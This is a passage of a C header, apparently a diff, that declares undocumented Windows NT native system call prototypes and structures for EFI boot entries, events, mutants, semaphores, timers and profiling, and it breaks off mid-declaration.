+ +// +// EFI +// + +// private +typedef struct _BOOT_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG Attributes; + ULONG FriendlyNameOffset; + ULONG BootFilePathOffset; + ULONG OsOptionsLength; + UCHAR OsOptions[1]; +} BOOT_ENTRY, * PBOOT_ENTRY; + +// private +typedef struct _BOOT_ENTRY_LIST +{ + ULONG NextEntryOffset; + BOOT_ENTRY BootEntry; +} BOOT_ENTRY_LIST, * PBOOT_ENTRY_LIST; + +// private +typedef struct _BOOT_OPTIONS +{ + ULONG Version; + ULONG Length; + ULONG Timeout; + ULONG CurrentBootEntryId; + ULONG NextBootEntryId; + WCHAR HeadlessRedirection[1]; +} BOOT_OPTIONS, * PBOOT_OPTIONS; + +// private +typedef struct _FILE_PATH +{ + ULONG Version; + ULONG Length; + ULONG Type; + UCHAR FilePath[1]; +} FILE_PATH, * PFILE_PATH; + +// private +typedef struct _EFI_DRIVER_ENTRY +{ + ULONG Version; + ULONG Length; + ULONG Id; + ULONG FriendlyNameOffset; + ULONG DriverFilePathOffset; +} EFI_DRIVER_ENTRY, * PEFI_DRIVER_ENTRY; + +// private +typedef struct _EFI_DRIVER_ENTRY_LIST +{ + ULONG NextEntryOffset; + EFI_DRIVER_ENTRY DriverEntry; +} EFI_DRIVER_ENTRY_LIST, * PEFI_DRIVER_ENTRY_LIST; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddBootEntry( + _In_ PBOOT_ENTRY BootEntry, + _Out_opt_ PULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteBootEntry( + _In_ ULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteBootEntry( + _In_ ULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwModifyBootEntry( + _In_ PBOOT_ENTRY BootEntry +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateBootEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryBootEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetBootEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryBootOptions( + _Out_writes_bytes_opt_(*BootOptionsLength) PBOOT_OPTIONS BootOptions, + _Inout_ PULONG BootOptionsLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetBootOptions( + _In_ PBOOT_OPTIONS BootOptions, + _In_ ULONG FieldsToChange +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwTranslateFilePath( + _In_ PFILE_PATH InputFilePath, + _In_ ULONG OutputType, + _Out_writes_bytes_opt_(*OutputFilePathLength) PFILE_PATH OutputFilePath, + _Inout_opt_ PULONG OutputFilePathLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwAddDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry, + _Out_opt_ PULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteDriverEntry( + _In_ ULONG Id +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteDriverEntry( + _In_ ULONG Id +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwModifyDriverEntry( + _In_ PEFI_DRIVER_ENTRY DriverEntry +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwEnumerateDriverEntries( + _Out_writes_bytes_opt_(*BufferLength) PVOID Buffer, + _Inout_ PULONG BufferLength +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder( + _Out_writes_opt_(*Count) PULONG Ids, + _Inout_ PULONG Count +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetDriverEntryOrder( + _In_reads_(Count) PULONG Ids, + _In_ ULONG Count +); + + +typedef enum _FILTER_BOOT_OPTION_OPERATION +{ + FilterBootOptionOperationOpenSystemStore, + FilterBootOptionOperationSetElement, + FilterBootOptionOperationDeleteElement, + FilterBootOptionOperationMax +} FILTER_BOOT_OPTION_OPERATION; + +#if (NTDDI_VERSION >= NTDDI_WIN10) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwFilterBootOption( + _In_ FILTER_BOOT_OPTION_OPERATION FilterOperation, + _In_ ULONG ObjectType, + _In_ ULONG ElementType, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize +); +#endif + +// +// Event +// + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _EVENT_INFORMATION_CLASS +{ + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION +{ + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, * PEVENT_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ EVENT_TYPE EventType, + _In_ BOOLEAN InitialState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent( + _Out_ PHANDLE EventHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetEventBoostPriority( + _In_ HANDLE EventHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEventBoostPriority( + _In_ HANDLE EventHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtClearEvent( + _In_ HANDLE EventHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent( + _In_ HANDLE EventHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent( + _In_ HANDLE EventHandle, + _Out_opt_ PLONG PreviousState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent( + _In_ HANDLE EventHandle, + _In_ EVENT_INFORMATION_CLASS EventInformationClass, + _Out_writes_bytes_(EventInformationLength) PVOID EventInformation, + _In_ ULONG EventInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Event Pair +// + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEventPair( + _Out_ PHANDLE EventPairHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLowEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair( + _In_ HANDLE EventPairHandle +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair( + _In_ HANDLE EventPairHandle +); + +// +// Mutant +// + +typedef enum _MUTANT_INFORMATION_CLASS +{ + MutantBasicInformation, // MUTANT_BASIC_INFORMATION + MutantOwnerInformation // MUTANT_OWNER_INFORMATION +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION +{ + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, * PMUTANT_BASIC_INFORMATION; + +typedef struct _MUTANT_OWNER_INFORMATION +{ + CLIENT_ID ClientId; +} MUTANT_OWNER_INFORMATION, * PMUTANT_OWNER_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_writes_bytes_(MutantInformationLength) PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Semaphore +// + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS +{ + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION +{ + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, * PSEMAPHORE_BASIC_INFORMATION; + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LONG InitialCount, + _In_ LONG MaximumCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSemaphore( + _Out_ PHANDLE SemaphoreHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwReleaseSemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ LONG ReleaseCount, + _Out_opt_ PLONG PreviousCount +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_writes_bytes_(SemaphoreInformationLength) PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength +); + +// +// Timer +// + +typedef enum _TIMER_INFORMATION_CLASS +{ + TimerBasicInformation // TIMER_BASIC_INFORMATION +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION +{ + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, * PTIMER_BASIC_INFORMATION; + +#ifndef _KERNEL_MODE +typedef VOID(NTAPI* PTIMER_APC_ROUTINE)( + _In_ PVOID TimerContext, + _In_ ULONG TimerLowValue, + _In_ LONG TimerHighValue + ); + +typedef enum _TIMER_SET_INFORMATION_CLASS +{ + TimerSetCoalescableTimer, // TIMER_SET_COALESCABLE_TIMER_INFO + MaxTimerInfoClass +} TIMER_SET_INFORMATION_CLASS; + +#if (NTDDI_VERSION >= NTDDI_WIN7) +struct _COUNTED_REASON_CONTEXT; + +typedef struct _TIMER_SET_COALESCABLE_TIMER_INFO +{ + _In_ LARGE_INTEGER DueTime; + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine; + _In_opt_ PVOID TimerContext; + _In_opt_ struct _COUNTED_REASON_CONTEXT* WakeContext; + _In_opt_ ULONG Period; + _In_ ULONG TolerableDelay; + _Out_opt_ PBOOLEAN PreviousState; +} TIMER_SET_COALESCABLE_TIMER_INFO, * PTIMER_SET_COALESCABLE_TIMER_INFO; +#endif +#endif // _KERNEL_MODE + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +_When_(return = 0, __drv_allocatesMem(TimerObject)) +NTSTATUS +ZwCreateTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwOpenTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN ResumeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwSetTimerEx( + _In_ HANDLE TimerHandle, + _In_ TIMER_SET_INFORMATION_CLASS TimerSetInformationClass, + _Inout_updates_bytes_opt_(TimerSetInformationLength) PVOID TimerSetInformation, + _In_ ULONG TimerSetInformationLength +); +#endif + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSTATUS +ZwCancelTimer( + _In_ HANDLE TimerHandle, + _Out_opt_ PBOOLEAN CurrentState +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_writes_bytes_(TimerInformationLength) PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateIRTimer( + _Out_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetIRTimer( + _In_ HANDLE TimerHandle, + _In_opt_ PLARGE_INTEGER DueTime +); +#endif + +typedef struct _T2_SET_PARAMETERS_V0 +{ + ULONG Version; + ULONG Reserved; + LONGLONG NoWakeTolerance; +} T2_SET_PARAMETERS, * PT2_SET_PARAMETERS; + +typedef PVOID PT2_CANCEL_PARAMETERS; + +#if (NTDDI_VERSION >= NTDDI_WINBLUE) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateTimer2( + _Out_ PHANDLE TimerHandle, + _In_opt_ PVOID Reserved1, + _In_opt_ PVOID Reserved2, + _In_ ULONG Attributes, + _In_ ACCESS_MASK DesiredAccess +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwSetTimer2( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PLARGE_INTEGER Period, + _In_ PT2_SET_PARAMETERS Parameters +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelTimer2( + _In_ HANDLE TimerHandle, + _In_ PT2_CANCEL_PARAMETERS Parameters +); +#endif // NTDDI_VERSION >= NTDDI_WINBLUE + +// +// Profile +// + +#define PROFILE_CONTROL 0x0001 +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateProfile( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ KAFFINITY Affinity +); + +#if (NTDDI_VERSION >= NTDDI_WIN7) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateProfileEx( + _Out_ PHANDLE ProfileHandle, + _In_opt_ HANDLE Process, + _In_ PVOID ProfileBase, + _In_ SIZE_T ProfileSize, + _In_ ULONG BucketSize, + _In_reads_bytes_(BufferSize) PULONG Buffer, + _In_ ULONG BufferSize, + _In_ KPROFILE_SOURCE ProfileSource, + _In_ USHORT GroupCount, + _In_reads_(GroupCount) PGROUP_AFFINITY 